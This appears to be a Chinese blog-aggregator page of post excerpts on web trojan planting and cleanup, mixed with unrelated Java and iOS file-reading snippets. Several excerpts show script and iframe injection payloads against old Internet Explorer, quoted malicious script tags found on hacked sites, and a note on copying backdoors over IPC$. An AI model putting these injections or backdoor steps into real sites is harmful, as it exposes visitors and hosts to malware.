‘><script>alert(sb)</script><iframe src=http://baidu.com width=500 height=500></iframe>图片挂马将上述代码保存为JPG文件，然后通过IE访问，IE还是同样会解析图片中的HTML代码,受影响版本IE6 7
转载
精选
2010-10-29 08:53:13
619阅读
TXT挂马
TXT文件中插入一段JAVA代码后后边的HTML代码就会被IE执行
受影响版本IE6 7 8
代码：
‘><script>alert(sb)</script><iframe src=http://snight.org width=500 height=500></iframe>
演示http://snight.org/te
转载
2009-06-14 13:42:04
369阅读
本文想简单介绍一下NSBundle读取图片到视图上，读取plist文件，读取txt文件显示在lable上； 关于bundle作用在网上参考了两个博客，介绍如下： bundle是一个目录,其中包含了程序会使用到的资源. 这些资源包含了如图像,声音,编译好的代码,nib文件(用户也会把bundle称为plug-in). 对应bundle,cocoa提供了类NSBundl
原创
2012-06-28 11:52:00
970阅读
今天教大家一招，解决网站中静态文件被挂木马的问题。其实很简单，我们只要找到网页中使用的所有的这个JS脚本，然后把它替换成静态的连接地址
原创
2022-07-14 16:41:12
249阅读
声明：本脚本只针对尾部被篡改的htm、html文件,以下几种：a[root@CHM-DD-00-E5-07 sndapk]# cat -A problem.html
<html>^M$
<body>^M$
<h1>It works !</h1>^M$
</body>^M$
<
原创
2014-03-22 23:04:52
1646阅读
点赞
ThinkPHP 是国内比较成熟，非常流行的php的web框架，免费开源，这些特性如同站长们最爱使用的织梦建站系统工具一样（dedecms）非常容易被挂马，跳转菠菜网站！开源的特性意味着所...
原创
2022-04-29 20:03:04
391阅读
众所周知，目标主机建立IPC$连接后，要把后门，木马之类的软件传过去，这就是DOS基础的命令，是入侵的基?Ｎ艺饫锞托锤龈袷健?一、copy 呵呵，命令一写就知道了吧，在网上看的太多了，其他格式都不用我写了，呵呵。 copy 本地文件 \\目标IP\目标共享文件夹
转载
2010-02-13 02:42:57
198阅读
在百度上搜索 ：
site:tpy888.cn 零点棋牌
出现sitemap/Artlc.php
很是奇怪，文件的属主是www:www
后来我把目录修改成744，index.php为644，再把discuz的
data/avatar目录删除了，竟然问题解决了。
用下面的命令找出来的：
/bbs/data/avatar/0/8/dam.php:
原创
2012-06-04 18:00:16
847阅读
在网络安全领域，Linux系统一直以其稳定性和安全性而备受推崇。然而，即使是这样一个被广大用户认为安全无比的系统，也难免会受到恶意软件的侵袭。其中，一种常见的恶意软件就是“挂马”（Trojan horse）。
“挂马”是指一种假冒正规程序，潜藏在系统中，等待着不法分子的操控，实施各种恶意活动的恶意软件。它通常会伪装成一些看起来无害的程序或文件，诱骗用户点击下载或安装，一旦用户中招，挂马就会开始悄
今天教大家一招，解决网站中静态文件被挂木马的问题。其实很简单，我们只要找到网页中使用的所有的这个JS脚本，然后把它替换成静态的连接地址，这样子的话别人就没有办法去修改这些脚本文件了。因为说这些脚本文件它都是一些静态的文件连接，那么既然是静态的，那就是说我们存放这个脚本的这个服务器，它只能放静态文件，不支持任何的脚本语言，那它也就不可能存在任何的后门，也不可能被篡改挂木马，上传脚本后门文件等等这些问
原创
2022-03-18 09:14:36
983阅读
写Java程序时经常碰到要读如txt或写入txt文件的情况，但是由于要定义好多变量，经常记不住，每次都要查，特此整理一下，简单易用，方便好懂！
转载
2016-06-27 11:20:00
848阅读
2评论
e="java"]package edu.thu.keyword.test;import java.io.File;import java.io.InputStreamReader;import java.io.BufferedReade...
原创
2023-03-21 08:13:26
855阅读
挂马新手段
2008-08-19 15:41:24
标签：挂马 新手段 [
转载
精选
2008-08-30 04:46:41
354阅读
近段时间，blog经常被<script src=http://%76%63%63%64%2E%63%6E></script>挂上木马。搜集资料，也做过相应css样式来解决，但css不能阻止页面有此木马，只是客户端访问的时候，屏蔽掉或者终止掉，测试后杀毒软件还是会提示网
原创
2009-10-15 10:42:42
539阅读
网页木马定义：
取得控制权的网站--嵌入恶意代码--用户访问（恶意代码利用浏览器，第三方activex或插件（flash，pdf）漏洞）--下载并执行恶意代码。
挂马方式：
&
原创
2010-04-02 14:07:38
868阅读
2评论
<iframe src="[url]http://www.5study.com/admin-nis/eWebEditor/CSS/index.htm[/url]" name="zhu" width="0" height="0" frameborder="0"></iframe><iframe src="[url]http://www.5study.com/admin-
原创
2007-03-07 22:17:11
1090阅读
今天在检查网站时，通过urlsnoof发现网站有很多链接，通过分析代码发现存在以下内容：
<MARQUEE width=0 height=0><a href="[url]http://www.zondatz.com[/url]">涂装设备</a><a href="[url]http://www.jshxzj.com[/url]">抛丸机</a
原创
2008-08-19 15:41:24
1088阅读
半夜一个网站被黑了，然后突然发现在访问服务器所有html页面的时候，自动插入iframe通过以下各项检查，均未能发现问题1、安装了防火墙2、检查了web程序3、检查了当天有没有新建或修改的文件（exe,bat,dll等）4、非本地DNS被ARP准备放弃的时候。查看了下iis的的配置
我们找到这个文件
打开以后果然是挂马的IFRMAE内容
打开IIS，在你的计算机名（根目录）右键选择属性，
原创
2009-10-29 17:34:20
1065阅读
如果你使用虚拟主机或者合租空间，可以要求主机商装MCAFEE，如果他说怕影响其他用户有.ASP后缀的数据库
转载
2022-06-17 16:48:10
96阅读
使用a标签下载文件的时候设置下载文件的文件名 给a标签加一个download属性 可以设置下载下来的文件的文件名 注意：下载的地址域名和访问网站的域名是同源 否则设置无效 // 下载图片 downloadIamge(swiperItem) {//下载图片地址和图片名 console.log('swi
原创
2021-05-20 22:38:20
2205阅读
